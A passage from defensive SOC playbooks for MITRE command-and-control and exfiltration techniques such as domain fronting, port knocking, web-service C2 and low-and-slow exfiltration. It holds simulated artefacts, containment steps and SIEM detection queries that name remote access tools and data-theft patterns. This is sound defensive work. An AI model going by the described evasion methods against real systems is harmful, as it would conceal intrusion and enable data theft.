- Domain Fronting

Purpose

Detect, investigate and respond to attackers routing command-and-control (C2) traffic through proxy infrastructure, enabling attackers to:

- Hide the true origin and destination of C2 traffic
- Evade IP-based blocking and attribution
- Abuse trusted internal or third-party systems as relays
- Increase resilience against takedown and containment
- Blend malicious traffic into legitimate proxy workflows

Proxy-based C2 is indirection defenders see the relay, not the attacker's real infrastructure.

When to trigger this playbook

Trigger this playbook when indicators suggest C2 traffic being relayed through one or more intermediaries, including:

- C2 traffic routed through internal servers not designed as proxies
- Outbound connections consistently terminating at proxy services
- Traffic chains spanning multiple IPs or ASNs
- TLS SNI or Host headers mismatching destination IPs
- Repeated redirection without direct backend visibility

Example use case scenario (end-to-end)

Context: SOC detects encrypted beaconing from endpoints to an internal web server. That server forwards traffic to an external cloud proxy, which then relays to attacker infrastructure. Later analysis shows Host headers pointing to a high-reputation domain while the backend resolves elsewhere.

Attacker objective: Conceal true C2 endpoints and resist blocking and attribution.

Defender objective: Uncover proxy chaining and disrupt the full relay path.

What it looks like (simulated SOC artefacts)

A) Internal Proxy Abuse

RelayHost=app-server-01

Role=Not a Proxy

Traffic=Outbound HTTPS Relay

B) External Proxy Usage

Service=Commercial Proxy

ASN=Shared Hosting

Destination=Rotating

C) Multi-hop Proxy Chain

Hop1=Internal Server

Hop2=Cloud Proxy

Hop3=C2 Backend

D) Domain Fronting

TLS_SNI=cdn.trusted.com

HTTP_Host=evil-api.com

E) Indirect C2 Visibility

DirectC2IP=Never Observed

F) Stable Beacon Pattern

Interval=120s

Protocol=HTTPS

Severity decision (SOC)

High

- Suspicious proxy usage without confirmed malicious control

Critical

- Confirmed C2 relayed through proxy infrastructure

- Internal systems abused as proxy relays
- Multi-hop or domain-fronted proxy chains observed

Example severity: Critical

(C2 traffic deliberately concealed behind proxy chains)

Step-by-step SOC workflow

Step 1 Validate proxy-based C2 behaviour

Confirm:

1. Is traffic indirect, not reaching a clear backend?
2. Are internal or trusted systems acting as relays?
3. Does blocking one hop fail to stop communication?
4. Is there protocol or header mismatch (SNI vs Host)?

Decision point

- Legitimate proxy architecture → document
- Malicious proxy-based C2 → escalate immediately

Step 2 Identify proxy type and scope

Proxy type	Evidence	Attacker value
Internal proxy	Compromised internal host	Trust abuse
External proxy	Commercial or cloud proxy	Anonymity
Multi-hop proxy	≥2 relays	Attribution resistance
Domain fronting	SNI/Host mismatch	Reputation bypass
Hybrid proxying	Combined methods	High resilience

Step 3 Map behaviour to attacker intent

3A) Attribution Evasion

Indicators

- No direct C2 IP visibility

Attacker intent

- Hide true infrastructure and operators

3B) Blocking Resistance

Indicators

- Communication survives IP/domain blocks

Attacker intent

- Maintain uninterrupted control

3C) Campaign Scalability

Indicators

- Proxy reuse across multiple victims

Attacker intent

- Support large-scale operations

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Hide Infrastructure
 - CDN or proxy fronting
2. Encrypted Channel
 - TLS inside proxy chains
3. Fallback Channels
 - Alternate proxies on failure
4. Ingress Tool Transfer
 - Payload delivery via proxies

Decision point

- Evidence found → escalate to Advanced Intrusion / Full IR

Containment actions

Immediate

1. Restrict or block suspicious proxy paths
2. Isolate internal hosts acting as relays
3. Increase inspection of proxy traffic

If proxy-based C2 confirmed

1. Map full relay chain end-to-end
2. Disable proxy functionality on abused systems
3. Coordinate with cloud/CDN providers if required
4. Notify SOC leadership and IR team

Eradication and recovery

- Remove malware enabling proxying or relay
- Reimage compromised internal proxy hosts
- Harden egress controls and proxy usage policies
- Enforce TLS SNI/Host consistency checks
- Monitor closely for new relay paths

Detection engineering (SIEM ideas)

A) Internal host acting as proxy

```
index=network  
| where src_role!="proxy"  
| stats count by src_ip, dest_ip  
| where count > baseline
```

B) Multi-hop traffic patterns

```
index=network  
| stats dc(dest_ip) by src_ip  
| where dc(dest_ip) > threshold
```

C) Domain fronting detection

```
index=proxy  
| where tls_sni!=http_host
```

Analyst checklist

- Proxy-based C2 confirmed
- Proxy type identified
- Relay chain mapped
- All hops disrupted
- Incident escalated appropriately

Post-incident improvements

- Treat proxy usage as high-confidence C2 concealment indicator

- Monitor internal systems for unexpected relay behaviour
- Enforce proxy allowlists and role-based egress
- Correlate proxy → encrypted C2 → fallback behaviour
- Include proxy and domain-fronting scenarios in SOC and purple-team exercises

Playbook 224 (MITRE Command and Control): Remote Access Tools

Technique: Remote Access Tools

Sub-techniques:

- IDE Tunneling
- Remote Desktop Software
- Remote Access Hardware

Purpose

Detect, investigate and respond to attackers abusing legitimate remote access technologies for command-and-control (C2), enabling attackers to:

- Blend into normal administrative or developer workflows
- Maintain full interactive control over compromised systems
- Bypass malware-based detections by using legitimate tools
- Abuse trust in widely deployed remote access software
- Persist with minimal custom tooling

Remote Access Tools represent living-off-the-land C2 attackers stop “calling home” and instead log in like administrators or developers.

When to trigger this playbook

Trigger this playbook when indicators suggest remote access tooling being used outside expected roles or contexts, including:

- Remote desktop sessions from unusual geographies or times
- Developer tunneling tools running on non-developer systems
- Remote access software installed or launched without approval
- Interactive sessions tied to compromised credentials
- Hardware-based access paths appearing without change records

Example use case scenario (end-to-end)

Context: SOC detects repeated outbound connections to a known remote desktop service from a finance workstation. The user account is not authorised for remote administration. Later, IDE tunneling traffic is observed exposing local services to the internet.

Attacker objective: Gain persistent, interactive control using trusted tools instead of malware C2.

Defender objective: Detect misuse of legitimate remote access mechanisms and revoke attacker control.

What it looks like (simulated SOC artefacts)

A) IDE Tunneling Abuse

Tool=VSCode Tunnel

Process=code.exe

ExposedPort=3389

Scope=Public

B) Remote Desktop Software

Software=AnyDesk

SessionType=Interactive

SourceIP=Foreign ASN

C) Unauthorised Installation

Installer=teamviewer.exe

UserContext=StandardUser

D) Persistent Interactive Sessions

SessionDuration=6 hours

IdleTimeout=None

E) Remote Access Hardware

Device=Raspberry Pi

Connection=Ethernet

MAC=Unknown

F) Credential-Based Access

AuthMethod=Valid Account

MFA=Bypassed

Severity decision (SOC)

High

- Suspicious remote access tooling without confirmed compromise

Critical

- Confirmed unauthorised remote access
- Interactive attacker control via trusted tools
- Remote access tied to credential compromise or persistence

Example severity: Critical

(Active attacker controlling systems via legitimate remote access software)

Step-by-step SOC workflow

Step 1 Validate remote access tool usage

Confirm:

1. Is the tool approved and expected on this host?
2. Does usage align with user role and business hours?
3. Is access interactive and persistent?
4. Is authentication legitimate or suspicious?

Decision point

- Approved administrative or developer use → document
- Unauthorised or abused remote access → escalate immediately

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
IDE tunneling	Exposed local ports	Stealth
Remote desktop software	GUI control	Full interaction
Remote access hardware	Physical persistence	Resilience
Legitimate credentials	Clean authentication	Low detection
Long sessions	Continuous access	Control

Step 3 Map behaviour to attacker intent

3A) Interactive Command and Control

Indicators

- GUI sessions instead of scripted commands

Attacker intent

- Precise, manual control

3B) Detection Evasion

Indicators

- Use of signed, trusted tools

Attacker intent

- Blend into normal activity

3C) Long-Term Persistence

Indicators

- Repeated remote access sessions

Attacker intent

- Maintain durable access

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Credential Access
 - Password dumping or token theft
2. Persistence
 - Startup services or scheduled tasks
3. Lateral Movement
 - RDP/SMB pivoting
4. Data Collection / Exfiltration
 - Manual data theft

Decision point

- Evidence found → escalate to Full Compromise / IR

Containment actions

Immediate

1. Terminate unauthorised remote sessions
2. Disable or uninstall abused remote access tools

3. Isolate affected systems

If remote access abuse confirmed

1. Reset compromised credentials and revoke sessions
2. Block remote access services and tunnels
3. Remove unauthorised hardware devices
4. Notify SOC leadership and IR team

Eradication and recovery

- Reimage systems if integrity is uncertain
- Rebuild remote access policies and approvals
- Enforce MFA for all remote access tools
- Restrict IDE tunneling usage
- Monitor closely for renewed access attempts

Detection engineering (SIEM ideas)

A) Remote access tools on non-approved hosts

```
index=edr  
| where process_name IN ("teamviewer.exe", "anydesk.exe", "code.exe")  
| where host_role NOT IN ("IT", "Developer")
```

B) Long interactive sessions

```
index=remote_access  
| where session_duration > threshold
```

C) IDE tunneling exposure

```
index=edr  
| where command_line LIKE "*tunnel*"
```

Analyst checklist

- Remote access tool abuse confirmed
- Sub-technique identified
- Scope across hosts assessed
- Sessions terminated and access revoked
- Incident escalated appropriately

Post-incident improvements

- Treat legitimate remote tools as potential C2 mechanisms
- Maintain strict allowlists for remote access software
- Monitor IDE tunneling and port exposure
- Enforce MFA and session monitoring
- Include remote-access abuse scenarios in SOC and purple-team exercises

Playbook 225 (MITRE Command and Control): Traffic Signaling

Technique: Traffic Signaling

Sub-techniques:

- Port Knocking
- Socket Filters

Purpose

Detect, investigate and respond to attackers using covert signaling mechanisms to control C2 behaviour, enabling attackers to:

- Activate dormant backdoors without continuous beaconing
- Open hidden services only after correct signals are received
- Avoid persistent network connections that trigger detection
- Maintain stealthy, on-demand access to compromised systems
- Reduce observable network footprint

Traffic Signaling is silent C2 activation attackers do not maintain obvious communication channels; instead, they wait for specific network “signals” to trigger action.

When to trigger this playbook

Trigger this playbook when indicators suggest non-standard network signaling used to activate services or malware, including:

- Repeated connection attempts to closed ports in specific sequences
- Network traffic that appears malformed or purposefully ignored
- Services becoming accessible only after specific packet patterns
- Kernel or socket-level filtering logic on endpoints
- Malware that remains dormant until signaled

Example use case scenario (end-to-end)

Context: SOC observes repeated connection attempts to ports 1337 → 4444 → 9001 from a single external IP. Minutes later, a previously closed SSH service becomes reachable on a non-standard port. Endpoint analysis reveals malware monitoring socket traffic and opening access only after the correct knock sequence.

Attacker objective: Enable stealthy, on-demand C2 access without continuous communication.

Defender objective: Detect signaling patterns and prevent hidden service activation.

What it looks like (simulated SOC artefacts)

A) Port Knocking Sequence

SourceIP=203.0.113.55
Sequence=1337,4444,9001
Timing=Within 30s

B) Closed Port Probing

Action=SYN
Response=RST
Pattern=Intentional

C) Hidden Service Activation

Service=SSH
Port=2222
State=Opened after signal

D) Socket Filter Logic

Process=agent.exe
Action=InspectPacket
FilterRule=MatchSequence

E) Dormant Malware Behaviour

State=Idle
Trigger=NetworkSignal

F) No Persistent Beaconsing

OutboundC2=None

Severity decision (SOC)

High

- Suspicious signaling attempts without confirmed service activation

Critical

- Confirmed port knocking or socket filter activation

- Hidden services opened after signal
- Traffic signaling used to control multiple hosts

Example severity: Critical

(Stealth backdoor activated via network signaling)

Step-by-step SOC workflow

Step 1 Validate traffic signaling behaviour

Confirm:

1. Are connection attempts sequenced or patterned?
2. Do they target closed or unused ports?
3. Does any service state change after signaling?
4. Is there endpoint logic inspecting raw packets?

Decision point

- Legitimate network scan or monitoring → document
- Malicious signaling behaviour → escalate immediately

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
Port knocking	Ordered port sequence	Stealth activation
Socket filters	Packet-level inspection	Deep evasion
Dormant backdoor	Idle until signal	Low noise
Hidden service	On-demand exposure	Control
No beaconing	Silent presence	Persistence

Step 3 Map behaviour to attacker intent

3A) Stealthy Access Enablement

Indicators

- No visible C2 until signal

Attacker intent

- Avoid continuous detection

3B) Detection Evasion

Indicators

- Closed ports ignore normal scans

Attacker intent

- Hide services from discovery

3C) Controlled Activation

Indicators

- Precise timing and sequences

Attacker intent

- Prevent accidental exposure

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Remote Access Tools
 - SSH, RDP or custom backdoors
2. Encrypted Channel
 - Secure sessions after activation
3. Proxy / Multi-Hop Proxy
 - Relay traffic once access is opened
4. Persistence
 - Re-registering socket filters on reboot

Decision point

- Evidence found → escalate to Advanced Intrusion / Full IR

Containment actions

Immediate

1. Block signaling source IPs
2. Close and disable newly opened ports/services
3. Isolate affected endpoints

If signaling confirmed

1. Remove socket filter or kernel hooks
2. Preserve packet captures and endpoint artefacts
3. Identify all hosts responding to similar signals
4. Notify SOC leadership and IR team

Eradication and recovery

- Remove malware implementing signaling logic
- Reimage systems if kernel-level components exist
- Harden firewall rules (default deny unused ports)
- Implement IDS rules for knock sequences
- Monitor closely for renewed signaling attempts

Detection engineering (SIEM ideas)

A) Port knock sequence detection

```
index=network  
| where action="SYN"  
| transaction src_ip maxspan=1m  
| where dc(dest_port) > threshold
```

B) Service state change after probes

```
index=network  
| where service_state="opened"  
| join src_ip [search index=network where action="SYN"]
```

C) Socket filter activity on endpoints

```
index=edr  
| where action IN ("SetSocketFilter","PacketInspect")  
| where process_name NOT IN baseline
```

Analyst checklist

- Traffic signaling confirmed
- Sub-technique identified (Port Knocking / Socket Filters)
- Hidden services identified and disabled
- Scope across hosts assessed
- Incident escalated appropriately

Post-incident improvements

- Treat traffic signaling as advanced stealth C2 indicator
- Monitor unused ports for patterned access attempts
- Correlate probe sequence → service activation → session creation
- Restrict kernel and socket filter capabilities
- Include traffic-signaling scenarios in SOC and purple-team exercises

Playbook 226 (MITRE Command and Control): Web Service

Technique: Web Service

Sub-techniques:

- Dead Drop Resolver
- Bidirectional Communication
- One-Way Communication

Purpose

Detect, investigate and respond to attackers abusing legitimate web services as command-and-control (C2) infrastructure, enabling attackers to:

- Hide C2 traffic inside trusted, high-reputation platforms
- Avoid owning or exposing dedicated C2 servers
- Leverage resilient, globally available services
- Blend malicious traffic into normal user behaviour
- Persist even when traditional C2 domains are blocked

Web Service-based C2 is trust parasitism attackers borrow the legitimacy and availability of real web platforms to control compromised hosts.

When to trigger this playbook

Trigger this playbook when indicators suggest abuse of web services for command delivery or data exchange, including:

- Periodic access to paste sites, code repos or cloud APIs
- Suspicious polling of web content with minimal user context
- Commands embedded in comments, posts, files or metadata
- Endpoints interacting with web services outside their role
- Web content changes immediately preceding endpoint actions

Example use case scenario (end-to-end)

Context: SOC observes endpoints polling a public Git repository every 5 minutes. A specific issue comment changes content periodically. Endpoint telemetry shows the comment being parsed and executed as commands. Results are later uploaded to a private cloud storage bucket.

Attacker objective: Maintain stealthy, resilient C2 using widely trusted web services.

Defender objective: Detect command workflows hidden inside legitimate web interactions.

What it looks like (simulated SOC artefacts)

A) Dead Drop Resolver

Service=Paste Site
ObjectID=post_83921
AccessPattern=Read-Only
CommandLocation=Line 7

B) Bidirectional Web C2

Service=Cloud Storage API
Action=GET/PUT
Object=task.json / result.json

C) One-Way Communication

Service=Social Media
Action=Read Only
Channel=Public Post

D) Trusted Reputation Abuse

DomainReputation=High
Category=Collaboration Platform

E) Periodic Polling

Interval=300s
UserAgent=Custom

F) Endpoint Correlation

Process=agent.exe
Action=ParseWebContent

Severity decision (SOC)

High

- Suspicious web service usage without confirmed execution

Critical

- Confirmed command retrieval or result upload via web services
- Web services used as primary or fallback C2
- Same web service controlling multiple compromised hosts

Example severity: Critical

(Active C2 using trusted web services)

Step-by-step SOC workflow

Step 1 Validate web-service-based C2 behaviour

Confirm:

1. Is the web service used outside normal business purpose?
2. Is content polled repeatedly or parsed programmatically?
3. Does content change in coordination with endpoint actions?
4. Is there upload or response traffic tied to execution?

Decision point

- Legitimate automation or integration → document
- Malicious web-service C2 → escalate immediately

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
Dead drop resolver	Read-only command source	Low exposure
Bidirectional comms	GET/PUT or API calls	Full control
One-way comms	Read-only channels	Stealth
Public platforms	Social/code sites	Reputation abuse
Private services	Cloud APIs	Confidentiality

Step 3 Map behaviour to attacker intent

3A) Infrastructure Concealment

Indicators

- No attacker-owned domains

Attacker intent

- Avoid takedown and attribution

3B) Detection Evasion

Indicators

- Traffic blends with normal web use

Attacker intent

- Bypass proxy and reputation controls

3C) Campaign Resilience

Indicators

- Easy switching between services

Attacker intent

- Maintain control under disruption

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Ingress Tool Transfer
 - Payloads fetched from web services
2. Exfiltration
 - Data uploaded via APIs
3. Fallback Channels
 - Alternate services used on block
4. Proxy / Domain Fronting
 - Service access hiding real intent

Decision point

- Evidence found → escalate to Advanced Intrusion / Full IR

Containment actions

Immediate

1. Block or restrict abused web service endpoints or objects
2. Isolate affected endpoints

3. Disable tokens or API keys if applicable

If web-service C2 confirmed

1. Preserve accessed content and API logs
2. Identify all hosts polling or uploading to same service
3. Coordinate with service provider if required
4. Notify SOC leadership and IR team

Eradication and recovery

- Remove malware parsing web content
- Reimage systems if integrity is uncertain
- Rotate credentials and API tokens
- Harden egress and SaaS access policies
- Monitor closely for migration to alternate services

Detection engineering (SIEM ideas)

A) Repeated polling of web content

```
index=proxy  
| bucket _time span=5m  
| stats count by src_ip, url  
| where count > baseline
```

B) Web API usage by non-approved processes

```
index=edr  
| where process_name NOT IN baseline  
| where destination_category="Web Service"
```

C) Read-then-execute correlation

```
index=proxy  
| join host [search index=edr where action="Execute"]
```

Analyst checklist

- Web-service-based C2 confirmed
- Sub-technique identified (Dead Drop / Bi / One-Way)
- Abused services and objects identified
- Access blocked and tokens revoked
- Incident escalated appropriately

Post-incident improvements

- Treat popular web services as potential C2 infrastructure
- Monitor polling behaviour and API usage patterns
- Correlate web read → content change → endpoint execution
- Enforce least-privilege access to SaaS platforms
- Include web-service C2 scenarios in SOC and purple-team exercises

Playbook 227 (MITRE Exfiltration): Automated Exfiltration – Traffic Duplication

Technique: Automated Exfiltration

Sub-technique: Traffic Duplication

Purpose

Detect, investigate and respond to attackers automatically exfiltrating data by duplicating legitimate network traffic, enabling attackers to:

- Steal data without generating obvious upload or transfer actions
- Hide exfiltration inside normal, expected communications
- Avoid triggering DLP or volume-based alerts
- Passively siphon sensitive information in real time
- Maintain long-term, low-noise data theft

Traffic Duplication is silent exfiltration attackers do not “send files”; they copy what is already flowing.

When to trigger this playbook

Trigger this playbook when indicators suggest data being copied or mirrored without legitimate business justification, including:

- Network taps, port mirroring or traffic capture enabled unexpectedly
- Duplicate outbound traffic to unknown destinations
- Processes accessing raw network streams without clear purpose
- Cloud or virtual network mirroring enabled without approval
- Sensitive data observed leaving the environment without user action

Example use case scenario (end-to-end)

Context: SOC detects outbound traffic containing database credentials and API tokens leaving the environment in real time. No file transfer or upload events are observed. Network analysis reveals a compromised host duplicating inbound application traffic and forwarding copies to attacker infrastructure.

Attacker objective: Steal live operational data continuously without raising exfiltration alarms.

Defender objective: Detect hidden traffic duplication paths and stop passive data theft.

What it looks like (simulated SOC artefacts)

A) Unexpected Traffic Mirroring

Source=AppServer01
MirrorDestination=203.0.113.88
Protocol=TCP

B) Duplicate Packet Streams

OriginalFlow=Client → Server
DuplicateFlow=Server → UnknownIP

C) No File Transfer Indicators

UploadEvents=None
FTP/SCP/HTTP Upload=None

D) Raw Packet Access

Process=sniffer.exe
Privilege=Elevated

E) Cloud Traffic Mirroring Abuse

Service=VPC Traffic Mirroring
Target=External ENI

F) Continuous Low-Noise Exfiltration

Volume=Low
Duration=Days

Severity decision (SOC)

High

- Suspicious traffic duplication without confirmed sensitive data loss

Critical

- Confirmed duplication of sensitive traffic
- Continuous or real-time data exfiltration
- Infrastructure-level mirroring abused

Example severity: Critical

(Live data exfiltration via traffic duplication)

Step-by-step SOC workflow

Step 1 Validate traffic duplication behaviour

Confirm:

1. Is traffic being copied or mirrored unexpectedly?
2. Is duplication unauthorised or undocumented?
3. Does duplicated traffic contain sensitive data?
4. Is the duplication automated and continuous?

Decision point

- Approved monitoring or troubleshooting → document
- Malicious traffic duplication → escalate immediately

Step 2 Identify duplication method and scope

Method	Evidence	Attacker value
Host-based sniffing	Raw socket access	Stealth
Network tap	Mirror ports	Full visibility
Cloud mirroring	VPC traffic mirror	Scale
Application-level copy	Proxy duplication	Precision
Continuous flow	Long duration	Persistence

Step 3 Map behaviour to attacker intent

3A) Passive Data Theft

Indicators

- No overt transfer actions

Attacker intent

- Avoid exfiltration detection

3B) Real-Time Intelligence

Indicators

- Immediate duplication of live traffic

Attacker intent

- Capture credentials, tokens, transactions

3C) Long-Term Surveillance

Indicators

- Sustained low-volume duplication

Attacker intent

- Maintain ongoing visibility into operations

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Credential Access
 - Credentials harvested from traffic
2. Collection
 - Data staging before duplication
3. Command and Control
 - Control channels managing duplication
4. Persistence
 - Re-enabled mirroring after reboot

Decision point

- Evidence found → escalate to Major Breach / Full IR

Containment actions

Immediate

1. Disable unauthorised traffic mirroring or sniffing
2. Isolate affected hosts or network segments
3. Block external destinations receiving duplicates

If traffic duplication confirmed

1. Preserve packet captures and mirroring configs

2. Identify all data types exposed
3. Revoke and rotate exposed credentials
4. Notify SOC leadership, IR and data owners

Eradication and recovery

- Remove malicious sniffers or mirroring configs
- Reimage compromised hosts if needed
- Reset credentials observed in traffic
- Harden network and cloud mirroring permissions
- Monitor closely for reactivation attempts

Detection engineering (SIEM ideas)

A) Unexpected traffic mirroring

```
index=network  
| where action="MirrorEnabled"  
| where approved_change!="true"
```

B) Duplicate flow detection

```
index=network  
| stats count by src_ip, dest_ip, flow_id  
| where count > expected
```

C) Raw packet access on endpoints

```
index=edr  
| where action="OpenRawSocket"  
| where process_name NOT IN baseline
```

Analyst checklist

- Traffic duplication confirmed
- Duplication method identified
- Scope of data exposure assessed
- Mirroring disabled and access blocked
- Incident escalated appropriately

Post-incident improvements

- Treat traffic duplication as high-impact exfiltration technique
- Enforce strict controls on packet capture and mirroring

- Monitor for raw socket and sniffing activity
- Correlate collection → duplication → silent exfiltration
- Include passive exfiltration scenarios in SOC and purple-team exercises

Playbook 228 (MITRE Exfiltration): Data Transfer Size Limits

Technique: Data Transfer Size Limits

Purpose

Detect, investigate and respond to attackers deliberately limiting the size of data transfers to evade detection during exfiltration, enabling attackers to:

- Steal data slowly under alert thresholds
- Blend exfiltration traffic into normal usage
- Avoid DLP, SIEM and anomaly-based detections
- Maintain long-term stealthy data leakage
- Support persistent espionage or fraud campaigns

Data Transfer Size Limits is low-and-slow exfiltration attackers don't move data in bulk; they drip it out invisibly.

When to trigger this playbook

Trigger this playbook when indicators suggest sustained, low-volume outbound data transfers inconsistent with business activity, including:

- Repeated small outbound transfers over long periods
- Exfiltration spread across sessions, hosts or days
- Data movement consistently below alert thresholds
- Outbound traffic patterns that never spike but never stop
- Exfiltration occurring during off-hours or idle periods

Example use case scenario (end-to-end)

Context: SOC reviews outbound traffic and notices a service account sending small HTTPS payloads (~30–50 KB) every few minutes for weeks. Each transfer is well below DLP thresholds. Correlation reveals the payloads contain fragments of sensitive records. No single transfer triggers alerts, but cumulative data loss is significant.

Attacker objective: Exfiltrate sensitive data without triggering volume-based detection.

Defender objective: Identify cumulative data leakage, stop the exfiltration channel and assess exposure.

What it looks like (simulated SOC artefacts)

A) Low-Volume Repeated Transfers

Destination=external-api.com
TransferSize=42KB
Frequency=Every 3 minutes

B) Long Duration

StartDate=2025-06-01
EndDate=2025-07-15

C) No Threshold Breach

DLPThreshold=5MB
Observed=BelowThreshold

D) Consistent Pattern

PayloadSize=Stable
Protocol=HTTPS

E) Off-Hours Activity

ActiveHours=02:00–04:00

F) Cumulative Loss

TotalExfiltrated=6.8GB

Severity decision (SOC)

High

- Limited low-volume exfiltration with early detection

Critical

- Long-term or cumulative sensitive data loss
- Exfiltration tied to espionage, fraud or insider threat
- Stealthy exfiltration bypassing standard controls

Example severity: Critical

(Sustained stealth exfiltration of sensitive data)

Step-by-step SOC workflow

Step 1 Validate size-limited exfiltration

Confirm:

1. Is outbound data transfer consistently small but repeated?
2. Does the pattern persist over days or weeks?
3. Is the destination external and non-business?
4. Does cumulative volume represent meaningful data loss?

Decision point

- Legitimate API or telemetry traffic → document
- Malicious low-and-slow exfiltration → escalate immediately

Step 2 Identify exfiltration method and scope

Indicator	Evidence	Attacker value
Small payloads	KB-sized transfers	Stealth
High frequency	Repeated sessions	Reliability
Long duration	Weeks/months	Espionage
Encrypted channel	HTTPS/TLS	Inspection evasion
Distributed sources	Multiple hosts	Resilience

Step 3 Map behaviour to attacker intent

3A) Detection Evasion

Indicators

- Transfers below alert thresholds

Attacker intent

- Avoid volume-based detection

3B) Long-Term Data Theft

Indicators

- Extended exfiltration window

Attacker intent

- Persistent intelligence gathering

3C) Stealth Monetisation or Espionage

Indicators

- No operational disruption

Attacker intent

- Remain undetected indefinitely

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Initial Access
 - Phishing, credential theft
2. Persistence
 - Scheduled jobs, backdoors
3. Command and Control
 - Same channel used for C2
4. Defense Evasion
 - Traffic shaping or throttling

Decision point

- Evidence found → escalate to Major Incident / Espionage IR

Containment actions

Immediate

1. Block or restrict suspicious destinations
2. Isolate affected hosts or service accounts
3. Capture and preserve traffic samples

If size-limited exfiltration confirmed

1. Disable compromised credentials and sessions
2. Terminate exfiltration processes or scripts
3. Identify all data accessed and staged
4. Notify SOC leadership, IR, Data Owners and Legal

Eradication and recovery

- Remove attacker persistence mechanisms
- Rotate credentials and secrets

- Review and tighten egress controls
- Rebaseline normal outbound traffic patterns
- Monitor closely for renewed low-volume exfiltration

Detection engineering (SIEM ideas)

A) Repeated small outbound transfers

```
index=netflow
| where bytes_out < 100000
| stats count sum(bytes_out) by src_ip, dest_ip
| where count > threshold
```

B) Long-term low-volume egress

```
index=netflow
| bucket _time span=1d
| stats sum(bytes_out) by src_ip, _time
| where sum(bytes_out) > baseline AND sum(bytes_out) < alert_threshold
```

C) Off-hours exfiltration

```
index=netflow
| where hour(_time) NOT IN business_hours
| where bytes_out < threshold
```

Analyst checklist

- Size-limited exfiltration confirmed
- Duration and cumulative volume assessed
- Exfiltration channel blocked
- Impacted data identified
- Incident escalated appropriately

Post-incident improvements

- Treat cumulative data movement as a risk signal
- Monitor frequency + duration, not just volume
- Implement behaviour-based DLP and UEBA
- Correlate low-volume exfiltration → long-term compromise
- Include low-and-slow exfiltration scenarios in SOC exercises

Playbook 229 (MITRE Exfiltration): Exfiltration Over Alternative Protocol

Technique: Exfiltration Over Alternative Protocol

Sub-techniques:

- Exfiltration Over Symmetric Encrypted Non-C2 Protocol
- Exfiltration Over Asymmetric Encrypted Non-C2 Protocol
- Exfiltration Over Unencrypted Non-C2 Protocol

Purpose

Detect, investigate and respond to attackers exfiltrating data using protocols not primarily designed for command-and-control (C2), enabling attackers to:

- Bypass C2-focused detection controls
- Abuse allowed or overlooked protocols for data theft
- Blend exfiltration into legitimate operational traffic
- Reduce reliance on traditional C2 infrastructure
- Evade DLP and volume-based exfiltration alerts

Exfiltration Over Alternative Protocols is misdirection at the transport layer attackers do not invent new channels, they reuse trusted protocols for unintended data movement.

When to trigger this playbook

Trigger this playbook when indicators suggest data leaving the environment via unexpected or non-C2 protocols, including:

- Large or structured data transferred over email, FTP, SMB or ICMP
- Encrypted payloads sent via protocols not used for encryption normally
- Asymmetric encryption usage without approved key exchange
- Cleartext sensitive data observed in non-secure protocols
- Data transfer volumes inconsistent with protocol purpose

Example use case scenario (end-to-end)

Context: SOC detects repeated outbound ICMP packets containing structured payloads. Packet inspection shows base64-encoded database records. No C2 channel is observed; data is exfiltrated directly via ICMP.

Attacker objective: Steal data using non-C2 protocols to avoid C2-based detections.

Defender objective: Detect protocol misuse and prevent stealthy data theft.

What it looks like (simulated SOC artefacts)

A) Symmetric Encrypted Non-C2 Protocol

Protocol=FTP
Payload=Encrypted
KeyReuse=Observed

B) Asymmetric Encrypted Non-C2 Protocol

Protocol=Email (SMTP)
Attachment=EncryptedBlob
PublicKey=Embedded

C) Unencrypted Non-C2 Protocol

Protocol=ICMP
Payload=Cleartext
DataType=Credentials

D) Protocol Misuse

ExpectedUse=Control
ObservedUse=BulkData

E) No C2 Correlation

Beaconing=None
C2Infrastructure=None

F) Low-and-Slow Transfers

PacketRate=Low
Duration=Weeks

Severity decision (SOC)

High

- Suspicious data transfer over non-C2 protocols without confirmed sensitive data

Critical

- Confirmed sensitive data exfiltration

- Encryption used to conceal exfiltrated content
- Sustained or automated protocol abuse

Example severity: Critical

(Sensitive data exfiltrated over alternative protocols)

Step-by-step SOC workflow

Step 1 Validate alternative protocol exfiltration

Confirm:

1. Is the protocol used outside its intended purpose?
2. Is data structured, bulk or sensitive?
3. Is encryption unexpected or unauthorised?
4. Is transfer automated or persistent?

Decision point

- Legitimate operational transfer → document
- Malicious exfiltration → escalate immediately

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
Symmetric encrypted	Shared-key payloads	Speed
Asymmetric encrypted	Public key usage	Secrecy
Unencrypted	Cleartext leakage	Simplicity
Non-C2 protocol	Email/ICMP/FTP/SMB	Detection bypass
Low-volume	Slow transfers	Stealth

Step 3 Map behaviour to attacker intent

3A) Detection Evasion

Indicators

- No C2 traffic

Attacker intent

- Bypass C2-focused monitoring

3B) Data Confidentiality

Indicators

- Encryption without approval

Attacker intent

- Prevent inspection of stolen data

3C) Operational Simplicity

Indicators

- Use of basic protocols

Attacker intent

- Reduce complexity and dependencies

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Collection
 - Local or staged data aggregation
2. Credential Access
 - Data sourced from harvested secrets
3. Persistence
 - Scheduled or trigger-based transfers
4. Command and Control
 - Fallback channels for control

Decision point

- Evidence found → escalate to Data Breach / Full IR

Containment actions

Immediate

1. Block protocol misuse paths (ICMP, SMTP, FTP, etc.)
2. Isolate affected hosts
3. Suspend suspicious data transfers

If exfiltration confirmed

1. Preserve transferred data samples
2. Identify data types and exposure scope
3. Rotate exposed credentials
4. Notify SOC leadership, IR and data owners

Eradication and recovery

- Remove exfiltration scripts or malware
- Reimage systems if integrity is uncertain
- Harden protocol usage policies
- Enforce encryption and inspection controls
- Monitor closely for resumed data transfer attempts

Detection engineering (SIEM ideas)

A) Encrypted payloads on non-encrypted protocols

index=network
| where protocol IN ("FTP","SMTP","ICMP")
| where entropy > threshold

B) Large data transfers over unusual protocols

index=network
| stats sum(bytes) by src_ip, protocol
| where sum(bytes) > baseline

C) Cleartext sensitive data detection

index=dpi
| where protocol!="HTTPS"
| where data_type IN ("credential","pii")

Analyst checklist

- Alternative protocol exfiltration confirmed
